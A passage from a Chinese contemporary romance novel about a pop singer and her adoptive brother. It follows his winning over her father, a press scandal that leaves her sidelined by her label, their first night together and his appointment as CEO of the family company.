林鹤堂看到那个“囍”字,眉头便拧了起来。 想回头看柚安,又怕与她视线对上,只能将眉头越拧越深。 尹晴上前摸了摸料子,不太满意,对林鸣修说:“我回头让他们送一床新的过来。” 她完全将这里当成自己儿子的新居,每个房间事无巨细地检查,从窗帘、床幔到抱枕,坐垫,觉得不满意的地方就叫人撤掉,自己为他重新张罗。 柚安乖乖等着父母先走,自己则走在最后面。 林鸣修做了个“请”的手势,引她跟上,垂下的另一只手偷偷去牵她的手,柚安狠狠捏了捏他的小指。 从主卧出来,正碰上几个自行参观的大学同学从某一间房出来,他们礼貌地跟林鹤堂夫妇打招呼,见林鸣修跟在后面,便围上去捅他后腰说:“你怎么还搞起studio了,爱好挺广泛的啊!” 林鸣修没说什么,两步上前将门带上。 柚安好奇,等人都走后,悄悄将门打开一线,往里偷看。 果真是一个做音乐的小型工作室,墙体贴着隔音棉,吉他键盘鼓一应俱全,桌上摆着调音台和十分专业的录音设备,向南的一扇落地窗能够远眺最美的山间湖景。 她正看地出神,一转身,只见林鹤堂就站在身后,也正伸头往里看,眉头拧地很深很深。 柚安倒吸一口凉气,强装镇定地默默关上门。 林鹤堂没料到她突然转身,两人同时陷入尴尬。 片刻后,是林鹤堂转身离去。 一行人参观完下楼,尹晴马不停蹄地去厨房吩咐餐食,林鹤堂则看上了林鸣修的大草坪,坐在遮阳棚下,微风吹着,很舒服。 林鸣修拿来一副象棋,张罗高手与林鹤堂对弈。 请愿出战的是四海的一位中年高管,柚安在养和医院的临时作战间见过他,后来知道他姓罗,任职于四海金融部,长于精算。 高手对弈,场面十分精彩,吸引了一堆臭棋篓子观战,柚安也是其中之一。 林鸣修半蹲在林鹤堂身旁,不时为他某一手好棋拍案叫绝,其他人也跟着叫好。有时,也为出现意见相左,在林鹤堂即将要落子的一瞬间,眼疾手快地截住,“等等等等等等,您看罗叔他那个屏风马……” 他伸手捂嘴,激动地在林鹤堂耳边说着什么,侧脸被手遮住了,只看见兴奋到明显凸出的颈部青筋。 林鹤堂听完“唉——”的一声,说:“你懂个屁。”周围人爆笑。 他落下子去,等罗叔落子,林鸣修指着那棋子喊:“您看吧!是不是!” 林鹤堂“啧”的一声苦笑。 下一回再落子,林鸣修直接抱着他胳膊,“别别别别,这回真的听我的。” 两人又是一阵耳语。 罗叔精明的目光一闪,“可不许这么支招啊。” 林鹤堂说:“小孩儿说的不算数,你还真以为他能支个什么招啊。” 林鸣修大笑,说:“对对对!不算数!” 一面告诉林鹤堂:“就那么走准没错。” 最后林鹤堂险胜,两个人开心极了,笑声将厨房里的尹晴都引了出来。 林鸣修给两人端来茶,说:“罗叔十年无败绩,老节不保。” 罗叔笑着摇头:“你俩厚道吗?一老一小两条狐狸。” 众人大笑。 柚安从没见过这情景,从未见他俩如此轻松自在过,她盘腿坐在桌边,觉得有意思极了,下得一手臭棋也想加入。 旁人见大小姐看得起劲,怂恿她跟林董来一局,所有人都跟着起哄,想看看面对女儿,林董还敢不敢这么阴谋连着阳谋,一套杀招不留情面。 林鸣修也是其中一员,他提议说:“林董让一半车马炮差不多。” 林鹤堂沉着脸摇头,说:“不够。” 罗叔让出了位子,柚安将袖子挽得老高,坐上去说:“一个子儿都不用你们让!” 结果林鹤堂几个卒子就杀了她半壁江山。 她每走一步,那些看棋的男士们就起哄喊“唉——”,林鸣修也在起哄之列,但起哄之余不忘拦着林鹤堂,小声在他耳边提醒:“这个太狠了这个,留点余地,当心她哭。” 与和罗叔下棋时的针尖对麦芒不同,林鹤堂这盘全程托着腮,面相颇苦,不时喃喃:“臭棋。” 让女儿几颗子他都能忍,最不能忍的是对手悔棋。 偏偏柚安被林鸣修惯出了这毛病,走一步要悔三回。 林鹤堂几次想撩了棋盘翻脸,旁人却都偏帮大小姐,林鸣修也搂着老爷子胳膊,说:“忍忍,算了。” 最后林鹤堂实在受不了,两三步杀柚安个精光,结束折磨,摇着头拂袖而去。 柚安还没反应过来,后面几步怎么这么快,盯着棋盘回想她那些车马炮是怎么说没就没的,围观群众心疼极了,交头接耳说“老爷子对女儿太狠了,要是我,可舍不得啊。” 明明老爷子车马炮全在家里没动。 有人推林鸣修坐到空出位子,说:“你来下盘吧。” 其他人笑道:“看你会不会做人了。” 林鸣修笑着配合,默默摆好棋盘。 柚安见是他,又燃起斗志。 这回,看棋的群众知道老爷子的苦了。在林鸣修“想怎么悔就怎么悔,想悔几次悔几次”的原则下,这棋下得又慢又没有章法。 全程只听林鸣修说“真要下这儿?你想好了,真好想好了?”而柚安拧着眉,试探着每走一步都瞧瞧他的表情,见他笑得不安好心,就立马抬手悔棋。 罗叔狡黠地笑说:“还真是条狐狸!”说完背着手走了。 上一盘还无条件偏心柚安的老同学,这时都忍不住摇着林鸣修肩膀喊:“这会不会太过分了?往回悔三轮啊哥!这都能答应,这不是丧权辱国吗?” 林鸣修笑着说:“哥会做人吧!” 为了想方设法让柚安赢,他让棋让得比跟罗叔下棋时还要认真。 林鹤堂走到远处,背过手看着,不自觉笑了出来。 最后,柚安还是不幸输了。 看着已经被将死,还咬着指甲冥思苦想对策的柚安,林鸣修实在憋不住,笑地肩膀发抖:“这脑子……” 柚安操起棋盘就追了出去。 两人你追我逃跑出去老远,眼前风景渐渐从院中草地变成山中林景,地势最高处有一面湖,林鸣修停下来说:“这是天然的,不是人工湖。” 他们走到水上栈道坐下,四野一片绿色。 柚安左右看了看,“这里人多吗?” “这里几栋别墅建得很稀疏,住户都很低调,平常不会有人在外面逛,”林鸣修两手支在身侧,偏头吻了吻她,“我是想在这里定下来的。” 柚安不说话,将头靠在他肩膀上。清幽的湖水没过脚踝,不时有小鱼游过,轻轻扫一下脚心。 “对了,”柚安忽然想起来什么,问他,“你是不是告诉过爸,我们的关系了?” “你怎么知道的?” “我爸看我好几眼!”柚安想起来还是心有余悸,“你是怎么说的?没有气到他吧?” 林鸣修说:“我是等他身体好起来,四海的事也差不多定了的时候,一点一点告诉他的,晴姨也帮了不少,有她从中调和,你爸不至于接受不了而气出事来。” “那他就是接受啦?” “也不一定,”林鸣修握着柚安的手,“你爸老狐狸了,不会直接表态的。” “所以他没有让你立刻回四海任职,就是要你先把这事了了,不要让这颗定时炸弾在四海爆?” “嗯,我没有所谓了,”他仰头躺下去,双手交织在脑后,“现在没有职位没有股份,全还了。” 怪不得他看上去那么轻松。 第52章 他伸臂将她带进怀里,不…… 柚安很少拥有这样优哉游哉, 又风平浪静的一天。 林鸣修也是。 四海如今灾后重建,百废待兴。 除了需要一个镇得住台面的掌舵人,坐镇公司之外,还需要有人四处奔走, 将一些上得了、上不了台面的事兜圆, 让各个僵化的关隘重新运作起来。 能担此大任的只有他。 所以他并没有赋闲, 反而比在瑞士时更忙。 但在柚安面前表现出来的轻松, 并不是演的。 将姓改回来之后, 他就松脱了一半,告诉林鹤堂他要娶他女儿之后, 又松脱了一半。 他从未想过人生能走出冰封的冬季,来到热烈鲜活的夏季。 哪怕林鹤堂将他腿打瘸, 他都欣然相赴,还要感恩, 求得其所。 然而林鹤堂听后, 并没有过激的反应。 “原来是这样啊。”他说。 终于明白了, 为何林鸣修突然要和他划清关系。 林鹤堂一生体面, 不说在经商方面堂堂正正, 至少在私生活方面,叫人找不到一点可指摘之处。 一生只谈过一次恋爱, 娶一人为妻, 哪怕她身体不好, 差点失明,他也从未有过离弃,或是另寻他人,给他生一个儿子的想法。以他一生的财力和地位,能做到这一点, 他自问无愧。 若是临老了,家中儿女闹出这样不堪的事情,确实面上无光。 但他深知林鸣修的脾性,从他坦白时说的话里,亦咂摸出这小子其实蛰伏已久,有可能从小时起,便不安好心。这样久经年岁地一场蓄谋,到底要多么摧枯拉朽的力量,才能撼动? 说他窥伺也好,筹谋也罢,总归是被他得到了。 以他的脾气,到了这一步,是死也不会松手的。 反对、施压、威胁,打折他的腿,恐怕都没有用—— 哪怕一开始听到时,林鹤堂真的有想过打折他的腿。 “你这哪里是请求我的同意?你步步为营,不声不响将到我的老巢了,才来请求同意,真是阴损到极点。”他半躺在床上,操起床边的台灯向林鸣修砸去,林鸣修没有躲。 “我会对柚安好的。”那小子头上流着血,微垂着头,脊背却立成一座山。 祈求庇护的伶仃少年,已经长成这样高大的男人了啊。 至于自己那丫头,更加不知道天高地厚,再荒谬的事情发生在她身上,都不奇怪。 林鹤堂从她小时候起,就想拿根绳子将这不成器的女儿栓在家里。 但是后来发现,她每一次横冲直撞的后果,也都自己结结实实承受了。 丢脸就丢脸,被骂就被骂,事业轰然倒塌就轰然倒塌,她绷着一张小脸没在他面前哭过,也没喊过一句后悔,这不是一件容易的事情。 晚饭过后,林鹤堂让柚安陪她散步消食。 傍晚林间漫着薄雾,气温略降,林鹤堂多披了一件羊毛外衫。 柚安挽着他,感觉到他的步伐比从前虚浮了很多。 林鹤堂说:“你做事总是没个盘算,下一步悔三步,下哪全凭感觉,对错全凭运气。鸣修事事未雨绸缪,计算地不动声色,你俩怎么能处到一起?” 柚安说:“我不是你们那种事事有盘算的人,但是我有自己一套行事模式,自问也构建地不错,一把骨头背得起悔棋的代价,而且越来越硬。” 她笑嘻嘻地说:“而且有爸这么精明的老狐狸……啊不是,有您撑腰,我怎么能从他那儿吃亏呢?” 林鹤堂哧了一声,心想我可能都拿捏不住他。 但他认了一件事—— 在死亡线上挺过来的人,哪有多的心力维护面子和名声这些虚头巴脑的事呢?既然儿女愿意承担,那就放手罢。 寒气从地底下冒出来,暮春时分,最为逼人。 柚安的衬衣裙御不了一点寒,冷得哆嗦了一下。 林鹤堂就将肩上的外套脱下来,一面骂她从来不看天气预报,一面往她身上套。 “走吧,回去。”两人一块儿打道回府。 回夏山郡的路上,尹晴时不时要看一眼柚安,想说其实他俩很般配,也难得有人降得住她,可又端着长辈的架子,不知如何开口。 最后还是忍不住七弯八拐提到林鸣修。 “鸣修不错,选房子的眼光好,装修设计也有条理,同事过的人,过了这么多年,还都叫他一声哥……” 柚安撇撇嘴,问:“妈,你打算给他置办什么样的床品?” 尹晴笑说:“不如你来选。” 柚安说:“我喜欢浅紫色。” 尹晴:“……” 第二天,柚安按行程,去公司开会讨论新专辑录制的事。 哼着歌走进会议室,却发现满屋气氛凝重,乌云盘踞,不见制作团队踪影。 会议室总共坐了八个人,每个人脸色都不好。商务事业部总裁坐在中间,告诉柚安,她身上的两个代言被取消了,几个正在谈的商务也都被紧急叫停,新专辑更是没有指望,录完签好的几个晚会演出,先休息一阵吧。 柚安看向经纪人车雪齐,后者避开目光,垂眸盯着笔记本。 整个会议,车雪齐一句话也没有说。 会毕,柚安追出去问她:“这不是雪藏我吗?出什么事了?” 车雪齐说:“你没看微信吗?” 柚安打开手机,消息栏里躺着对方两小时前发来的微信:【一会儿开会,你要有点心理准备。】 “这什么意思?”柚安问。 坐在会议室时,她心里就已经猜出个大概,只是经纪人的态度叫她心寒。原来出了事,最亲密的队友会第一个弃她而去。 “没事的,你就当放个假,原则上没什么大问题,我们这也是常规操作。”车雪齐说完,转身快步走了。 柚安追上去,拨开路人一把抓住她,“我们?你可真会站队。” 车雪齐叹一口气,“走吧,找个地方聊聊。” “好,请你喝咖啡。” “不,去楼上天台说吧。” 今天港城挂三号风球,没人会在这个时候去天台,除了这两个疯女人。 天台铁门被风吹得哐当作响,广告牌在半空摇晃,碎纸片打着旋儿往楼下掉。柚安的风衣被吹得咧咧作响,发尾不停地抽在脸上,生疼。 她劈头问车雪齐:“为什么不早一点告诉我?你知道的一定不是一星半点。” 风声在耳边呼呼作响,车雪齐先是抱着胳膊一言不发,而后像是做了什么决定,忽然激动起来。 “那么请你告诉我,和自家没有血缘关系的哥哥谈恋爱,东窗事发之后,哥哥与家庭撇清关系,开发布会,改姓作掩护,公关团队要怎么替你写洗白的通稿?这种事,你倒是早点告诉我,让我有个心理准备啊。” “为什么要洗白?你也觉得我错了吗?” “我搞不懂你们豪门的骚操作!你去问问TVB的编剧,或许他们能够理解。” “车雪齐!”柚安怒喝,随即低头沉默,一阵狂风卷过,将她心头的愤怒压了下去,“算了,我确实太感情用事了,工作伙伴就是工作伙伴,就是,工作伙伴而已。” 说完,转头往里走,被车雪齐叫住了。 “这回搞你的是贺锦晟,他大概是求爱不成吧,”她侧头朝柚安喊,“现在,什么八卦媒体都收到信儿了。再过一会儿,就上热搜了。” “我知道。”柚安没回头。 “公司高层觉得你有点不好控制,从演唱会宣布恋情那时,就有意见了。”车雪齐又说。 “没事,我猜到了。” “但这不是雪藏,放个假,低调一点,被问起来,你就保持缄默,不要让他们录到你说男朋友是顾鸣修这类的素材,剪不出来东西,慢慢就没人讨论了,观众都是善忘的。”车雪齐声音放软,“你不是一个好的合作伙伴,自我意识过盛,又我行我素,但是带你,是我经纪人生涯中最骄傲的一件事。” “是吗?那以后记得写进履历里。不是带我这件事啊,是你如此厉害的话术。”柚安始终背对着,眼睛酸得睁不开,风一吹,眼泪生理性地往外溢。 车雪齐上前顺了顺她的头发,“抱歉,谈恋爱其实是件值得祝福的事,祝福变成漫天流言蜚语,我也替你心疼。但是柚安,你要当公众人物,就忍忍。人越红,就越容易被人非议、曲解。有时候,人们趋从的甚至都不是对错,而是猎奇、边缘本身,那些能引发讨论,带来热度的东西。” 柚安站在原地,长发在风中狂舞,根本顺不好。 “我知道了,谢谢。”半晌,她径直离开天台。 晚上有一个拼盘演出,主办方没有提出换人,就得去录。 从主办方到同台的艺人,各个讳莫如深,又处处充满凝视。柚安装作没看见,唱完自己的两首歌,头也不回地下台。 回休息室的路上,两个工作人员在过道里蛐蛐,手机里不知放着什么营销号视频,隐约听到:“青梅竹马,暗度陈仓……” 她瞬间烧起来,后颈发烫,头皮发麻,跟喝了酒一样。 助理慌慌张张过来,说VIP通道已经挤了很多记者了,要不提前从后门离场。 “行。”她强自镇定,不带情绪。实则全身的肌肉已经绷紧,随时准备逃生。 在安保护送下,一行人快速往后门走去。 谁知后门蹲守的媒体只多不少,助理很快被冲散了,安保也招架不住。几十只麦克风对着柚安,请她留步接受采访,有人直接抛出问题,问她和林鸣修进展到哪一步了,父母是否知情。 柚安想起车雪齐的忠告,保持缄默,不要提他的名字。 ……好,那就不要。 她在心里自嘲:想象中的热恋,和现实完全是两回事对不对?想象中,她那么勇,那么自由恣意,现实却是脑袋恨不得钻进衣领里,被追债似的囫囵往前跑。 好不容易突出重围,电视台外的风都在跟她作对,呼啸着阻住去路,将人往里推,真冷啊! 万幸自家的保姆车就停在门口,她看到希望,百米冲刺的速度跑过去,脸上没有任何表情。风从她脚踝掠过,像无数双企图抓住她的手。 车门“砰”的一声被关上,外头响起拍门声,记者不拿到有效的素材,不肯放过她。 脸上跑出的红晕还未褪去,呼吸艰难,她听见一道熟悉的声音:“接你下班。” 蓦地一抬头,竟发现林鸣修坐在里面。 似乎是从工作场合赶过来的,他穿着一套黑色正装,外套脱在一边,里面是白衬衣,黑色马甲,长腿在狭小的空间中有点无处施展,一伸一折。 被百米围追堵截后的心率还没有降下来,又疯狂升了上去,一个字都说不出来,情绪全堵在胸腔里,像三号风球下的天气,风雨连江,波摇玉碎。 林鸣修伸臂越过柚安,将车帘拨出条缝,瞧了眼窗外。 一片黑压压的脑袋,数不清的摄像头和闪光灯。 “你真火呀。”他笑了笑。 柚安背对车门,没有跟着回头看,而是看向林鸣修。不论何时看到他,都感到船舶终于靠岸,那份安全与底气将她半空中挣扎的一颗心,牢牢接住。 她捧住他的脸,吻了上去。 被凉意浸透的唇慢慢碾过他的唇峰,不知不觉间变得滚烫。 他伸臂将她带进怀里,不紧不慢加深这个吻。 最后一丝理智褪去之前,柚安霍然将车门打开。 整个世界都安静了。 紧接着陷入巨大的躁动。快门声如一场海啸。 一刹惊讶之后,林鸣修的嘴角扬了一下,在记者疯狂地几乎要冲上来前,抬手将车门关了。 两分钟后,保姆车引擎作响,迎着台风开出了电视台去。 “不知道危险吗?”他坐在驾驶室,嘴角仍勾着。柚安坐在副驾。 “忍不了,”柚安说,“要拍就让他们拍个够。” 林鸣修笑了声,问:“去哪?” “回家吧,我接下来放大假了。”柚安平静地目视前方。 “这样也好。”她说。 “回家吧,回我那儿。”林鸣修轻打方向盘。 柚安转头看他。 “不怕记者跟到夏山郡蹲你吗?”林鸣修若无其事地问她。 暮色降下来,他目视前方,不知是胸有成竹,还是不敢看她。 她没有回答,一直沉默着,车就这么驶进了半山,林鸣修住的别墅区。 第53章 “有没有弄疼你?”…… 暮色漫过城市天际线, 保姆车无声地盘山而上,四野极静,都市的种种喧嚣都被摒弃在山下。 视野慢慢上升,山下万家灯火, 街道霓虹, 无声地招摇着, 身边只有树影与、山风与虫鸣。 柚安将车窗打开一线, 半山腰的植被裹着湿润的青草香涌来, 夜风纠缠,拂过树稍的唰唰声响, 就是听觉里的一切。 攀升至开阔处,经过林荫的大道, 一座深灰色磨砂大理石主体的建筑静静卧在夜色中,二楼外挑的玻璃幕墙呈几何切割状, 其上仿佛有星子跃动。 这里的一切, 都有种厚重而安稳的味道, 林鸣修给人的感觉很像。 太安静了, 显得回忆里, 那混乱与窒息的场面,有种不真实感。 柚安忍不住去想象此刻外界的腥风血雨。 那被此处的静谧格挡在外的舆论风暴—— 大字标题、揣测非议、评论区意淫, 不受控制地在脑海里上演。 几次想要点开手机看一眼, 都被林鸣修按住了。 进了家门, 正弯腰换鞋,一旁的林鸣修先换好鞋,朝她伸出手来。 她抬头,与他微微向下的视线相触,他手指干净修长, 像白玉做的扇骨。 柚安领会他的意思,略作挣扎,将手机交了出去。 从电视台跑出来,她双手空空,什么都没有带,只抓了个手机,现在可算是身无长物了。 跑得一身汗,糊在身上被风一吹,一阵阵发寒。 “浴室在哪,我想洗个澡。” 几间房间都有内部的洗手间,林鸣修领她到主卧的浴室,给她找了件浴袍,又拿出新的洗漱用品。 “可以吗?”他低头整理洗漱用品,耳尖泛起薄红。 这问题有点含糊。说不清是问洗漱用品,还是用主卧浴室这件事。 柚安也含糊地“嗯”了一声。 热水从花洒中喷洒出来,水温偏热,周遭白气上涌。 柚安脱力地靠在玻璃门上,面前是一排男士洗漱用品,从其黑色或是深褐色的包装就能看得出来。手边新的洗漱用品,则是一套中性的,包装质朴的旅行装。 林鸣修拿出来的时候,她其实瞟到柜子深处还有一套,是十分名贵,女性专用的牌子。想到他那时泛红的耳尖,应该是不太好意思,显得自己蓄谋已久。柚安禁不住轻轻笑了。 半小时后,她穿着浴袍走出来。 林鸣修正在刷床,还是进门时的西裤与白衬衫、黑马甲,一条腿落地,一条单膝跪在床上,西服材质将他肩宽腰窄的身形勾勒得十分出色。 回头看到柚安,她只有浴袍可穿,赤脚踩在火山岩的地砖上,头发半干,一滴水顺着发尾滴到白腻的脚背上。 他动作顿住,保持着半跪的姿势抬头,淡黄色顶灯在他眼下投出细碎的阴影。 柚安攥着浴袍的手紧了紧,转身向次卧走去。 “睡这儿。”林鸣修出声叫住她。 气氛凝滞住了,柚安转身,见他仍是那个单膝跪床的姿势,不带祈求也不是命令,眸光干净地近乎有几分天真。 她不知道该怎么回应,沉默了半天,他发话打破沉寂:“我去次卧。” 没来得及说话,床边的手机铃声响了,是柚安的手机。 林鸣修目光扫过去,眼里那抹温柔顿时化为乌有。 柚安瞧了一眼,来电显示“阿燃”。这是她一开始对黎燃的备注,赖得去改。 巧得很,林鸣修的手机这时也响了,是一个视频会议的请求。 林鸣修指尖捞过柚安的手机,不带迟疑地抛给她,紧接着接起视频会议,边说话,边大步走出卧室。经过柚安身侧时,上位者的气场蔓延地到处都是。 风雪是一瞬间降临的,在他冷白的脸上生动地具象化了。 柚安怔了怔才接起电话。 大概说了十来分钟,通话结束,她走出房间,林鸣修还在书房里开视像会议,戴着工作时常戴的细框眼镜,眉头微微皱着,疏冷严厉的模样,任谁都会想退避三舍。 柚安脚步未停,独自走到去外面草坪去吹风。 布偶猫不知怎么被林鸣修收服的,已经不去卧室睡了,在它的专属小窝里睡得四仰八叉。柚安呼噜了一下它白软的小肚子,它小脚抽了抽,继续呼呼大睡。 再回来时,林鸣修还在开会,盯着屏幕,目光如刃,柚安经过,他眼皮也没有掀一下。 柚安有点生气,走进去将手机重重搁到桌上。 林鸣修没法回应她,戴着耳麦,边开会边去厨房帮她冲了杯牛奶,递给她后继续开会。 柚安拿着牛奶准备回房,林鸣修指了指桌旁的沙发,示意她就在这儿喝。 他冲得很甜,好喝是好喝,就是有点像哄小孩儿。 柚安喝牛奶的时候,他抛出几个简洁的指示,快速结束了会议。 将手机和电脑息屏,往皮椅上一仰,抬手将马甲脱了,又松了几颗衬衣纽扣。 “打完电话了?” “嗯,黎燃打来关心我,你生气啦?” 刚结束一场紧急又激烈的会议,林鸣修此刻无力掩饰情绪,轻轻吐出一个“嗯”字。他抬手轻柔眉心,眼睛慢慢闭起。 “真的?”柚安抿嘴压住笑意,不敢表现得过于高兴。 她走到林鸣修跟前,将他眼睛摘了,看着他因突然被摘掉眼镜而有些迷蒙的眼睛,“让我瞧瞧你吃醋是什么样子。” 林鸣修将她的腰一搂,“坐这儿。慢慢瞧。” 柚安跌坐到他腿上,低头看着他。她身上带着沐浴后的清香,像朵沾着晨露的茉莉。 林鸣修想到什么,说:“有个问题一直想问你。” “什么?” “你们之前吵架,黎燃说每次他想吻你的时候,你都说……你说什么了?” “你还惦记着这个?” “有点好奇。”林鸣修仰头看着她。 “我说,‘你的嘴唇不像他’。” 说完立即红着脸命令:“不许生气。” 林鸣修怔了片刻,眼睫扇了扇,眼睑下方,蝶翼般的阴影一颤,“那我的呢?” 柚安双手捧住他的脸,迫使他仰头的幅度更大些,低头仔细端详他的嘴唇,指尖沿着唇线描摹,走势如锋利的山峦,又像温润的玉,唇色比往常要更红一些。 “不像。”她说。 随即在他唇上落下一个吻。 林鸣修呼吸轻颤,环住她的腰作回应。 一番纠缠后,柚安稍退了些,又去看他的眼睛,“这里也不像。”一个吻落在眼睛。 眉毛、鼻尖、耳朵、下颌……他耳朵温度的最高,几乎要烧起来,通红的颜色和白皙的面部对比鲜明。 男人张嘴吻住她,一双手解开腰带伸进去,将仅有的一件浴袍剥落下来。 那双手也几乎要烧起来,细嫩的背部肌肤在深夜的凉意,与滚烫的抚摸间层层战栗。 吻滑向她的颈侧,缠绵片刻,继续往下。 柚安觉得有些羞耻,却又无力拒绝,眼睛盯着他发红的耳尖,思绪陷入空濛。 “如果你紧张,到这里就可以了。”男人仰头看着她,指尖轻轻抚过她蝴蝶骨,隐隐克制。 不知不觉她身上已经起了一层薄汗,手心也被汗濡湿,脸色像熟透的、沾着露水的桃子。 她轻轻摇头。 男人就抱起她,往卧室走去。 “……有没有弄疼你?”某一时刻,她听见林鸣修紧张地问。 他额头的汗滴下来,青色的血管在颈间绷紧,汗腻在上面,色泽晶莹。原来他的紧张比之于自己,有增无减。 柚安紧闭着眼睛,搂紧他的脖子,身体止不住地颤栗。 月色沉静,月光漫过半山,穿透玻璃幕墙洒下来,男人分明的肌肉纹理被被镀上一层银色的光,像一副油画。 柚安在极度疲累中脱力睡去,什么也来不及想。 醒来时,整个人都很懵。 她抓着被单坐在大床中央,只觉得浑身无力,无法立时起身。 林鸣修不在身边,听声音,他正在外面煮咖啡。 片刻后,咖啡香飘进房间,林鸣修端着咖啡杯走进来。他穿着深色的居家服,身上带着沐浴后的皂香。 见柚安坐在床上懵着,他将咖啡杯放到一边,凑近仔细瞧她。 “看着我做什么?”柚安将被单拉上,只露出眼睛,被他这么一看,昨夜种种涌上心头,消下去的暖流倏然蹿升,将身体烧地滚烫。 “看你有没有坏。”林鸣修说。 柚安抬手揍他,被他反制,捞进怀里亲了一顿。 亲着亲着又亲进被子里,初次尝试起床失败。 事后,柚安拖着步子走去浴室,浴室被刚用过,镜上的水雾还没来得干透,伸手一抹,看见自己身上一片一片的红痕,羞耻地寸步难移。 打开花洒冲了很久,直到想起来,羞耻感不那么强烈,才关掉花洒。 找衣服穿的时候,隐约听到林鸣修正在跟人说话。 来人是两位固定时间上门打扫的阿姨,柚安听见其中一个说:“顾先生,床单和被套交给我们就行了。” 一想到床单…… 柚安想死的心都有了。 “不用了,床单我自己洗。”她听见林鸣修说。 “那怎么行呢?交给我们吧,很快洗好。” “我说了不用,”他声音有点急,“没事你们回去吧。” 阿姨便不再勉强,告别离去。 直到外面完全没声音了,柚安才裹着林鸣修的衬衫下楼。 林鸣修正在洗衣房洗床单,换了衬衣,衬衫袖子挽到手肘,露出结实的小臂。 布偶猫经过,“喵”了一声,他才察觉到人,回头看到柚安,问:“洗完澡了?” “洗完了。”柚安偏头瞄了眼床单,害臊地脚趾抓地。 林鸣修背着身,将洗好的床单一展,仔细检查,衬衫背后映出流畅的背肌线条。她昨天穿的衣服也洗好了,和林鸣修的一起晾在晾衣绳上。 “我叫Kim买了几套日常穿的衣服送来,应该马上就到,你先穿着。” “贴身的我自己买的,在网上买的,你先将就一下。”他补充说,“放床旁边了。” 见柚安迟迟没做声,转过头看她,“怎么了?” 柚安怔着,然后甜甜笑起来,“嗯。” 林鸣修这才发现她穿的是什么,上下打量一遍,“啧”了一声,“怎么穿我的?” “我没衣服了……不让穿吗?”柚安光着脚,两只脚互相蹭了蹭。 林鸣修不答,背过身去继续洗床单,几乎要将床单搓出火花来。 柚安见他换了衬衣,应该是要出门,忽然想起来床单的,便好奇问:“今天有工作安排吗?” “要去公司一趟,快来不及了……”林鸣修手下一停,低喝,“给我换一件去。” 从后看见他耳廓通红,柚安才了然,“哦”了一声,回房另找衣服穿。 走时逗弄心作祟,伸手戳了戳他的腰。衬衣下摆收束在西裤里,腰线看起来很蛊,来不及防备地被戳一下,他呼吸一沉,差点将床单扯破。 路过书房的时候,柚安还是忍不住好奇,将手机拿过来解锁。 一键清除了所有未读消息和未接来电,再定神,将网页打开。 热搜第一居然不是她的花边新闻,而是四海寰宇的一份官方公告。公告上写着:“顾鸣修正式回巢,单任四海寰宇CEO兼CFO的职务。” 一份声明肯定了他在四海的地位,更加证明了林家对他的接纳—— 以养子之外,另一种身份的接纳。 “你要去四海?”柚安逐字看了几遍,朝着外面喊。 “员工大会,任职演讲。”林鸣修的声音,和展床单的声音一并传来。 没过多久,Kim将衣服送了来,他很识相,东西放在门外就走了,还送来了两份早餐,中式西式各一份。 林鸣修将床单与被罩晾好,进来与柚安一块儿吃早餐。 不时看表,又不时点开手机回复消息,柚安心想,今天对他来说很重要,就像是电影里的happy ending,但是他的衬衫被打湿了,不够完美,还得再换一件。 “我今天没事,”柚安叼着喝粥的勺子,用键盘打字,“梁太说几个董事也会去听演讲。” 林鸣修低头回消息,“哪儿都有他们。”想起来柚安也是董事,便抬头冲她笑了笑。 “我也去,跟你一起去”柚安在桌子下面踢了踢他,“Kim送来的衣服里有一套比较适合的西服裙。” 林鸣修抬头看她,欲言又止。 “怎么,我不是董事吗?” “是。” “让你难做了?” “不是。与有荣焉。” “那你怎么?”柚安见他古怪,以为他不想在工作场合跟她扯上关系,便说,“我不去了,但是过两天董事会议,我也得出席的。” “你去你去。”林鸣修努了努下巴,“你先把脖子处理了。” 第54章 始终落后她半个身子 台风的威力已经散去。 今日阴天, 微雨。 四海寰宇门前的广场上等候了许多人。 除了林鸣修的助理团队外,还有行政部门,以及总裁办的几个重要人物。 黑色商务车稳稳停在门前,车身泛着深邃的黑曜石光泽。林鸣修下车, 反手关上车门, 风将他黑色西装下摆拂起。 助理撑一把黑色骨伞走上前去, 林鸣修接过伞, 亲自撑着, 走到车的另一边。 人群惊讶,相互以眼神探问。 只见林鸣修打开车门, 以手挡住车顶,伞微微倾向门边, 柚安走了出来。 众人惊愕的眼神中,两人一同往公司大门走去。 他们都身穿剪裁利落的黑色正装, 肩线笔挺, 腰线一粒纽扣, 收得恰到好处, 薄底黑皮鞋锃亮, 一身矜贵低调。 腕间的百达翡丽表盘颜色遥相呼应,连袖口处都别着相似的铂金袖扣, 步履同频, 身材气质相衬, 一看就是大家族精心培养出的一对儿女。 林鸣修撑着黑色大伞,始终落后柚安半个身子,上台阶时,他略微弯腰,递出手臂给柚安扶。 柚安轻搭了一下, 二人脚步生风,手臂和双腿的幅度都很一致,像在雨中共舞。 这样的画面引得全场屏息。 进得公司后,广场前才炸开一片讨论声。 几个行政部的女生快疯了。 “我在看什么?这是我能看的吗?妈妈!” “太登对了吧!我仿佛听了一首《悬溺》,可惜不敢拿手机拍下来!” “你还敢拿手机?我呼吸都不敢呼吸!” “昨晚看到顾总的恋情,梦碎了,现在,又有新梦可以做啦……” 林鸣修将伞交还助理,整了整外套,往里走。 Kim走在前,帮他们按了电梯。等电梯的时候,柚安不经意回头看了看,林鸣修迎向她的目光时,眼里的冰霜顿时融化成一片温柔地海水。 梁太这时也到了四海,在电梯厅相遇,她叫了声顾总,说:“你来晚了,我还以为这个时候,你已经在上面做准备了。” 二人转头,柚安走过去挽住梁太。 心想,他在家里洗床单,所以来晚了。 林鸣修虚心道歉,说:“太紧张,没有睡好。” 下了电梯,柚安同梁太一起前往会议厅。董事会成员的座位都在第一排,会还没有开始,梁太悄声问柚安:“你跟他一起来的?” 柚安点头。 梁太惊讶,“你们不避嫌,不怕员工说闲话,说他顾鸣修之前是沾了林鹤堂儿子的光,如今是沾了林鹤堂女婿的光,才坐上那个位子的吗?” “你说他吃软饭?”柚安捂嘴笑出来。 “也,不能这么说吧,但总是觉得不对头,今天,他是最风光的那个,却以你为先。” 梁太想起林鸣修照顾柚安,落后她半个身子的情景。 从而想到,在她丈夫事业刚起步的时候,是依托她婆家势力的。那时,即使地位悬殊,她走到哪里,也都会特别留心,不能抢丈夫的风头。 柚安偏头凑近,笑着说:“我想,经历过四海这两年的劫难,股价颠簸,掌舵人频繁更替,如今将将脱离倒闭的危险,重振旗鼓的员工,都不会有这样的想法吧。” 梁太想了想,说:“也对。” 这时,林鹤堂与林鸣修一同步入会场。 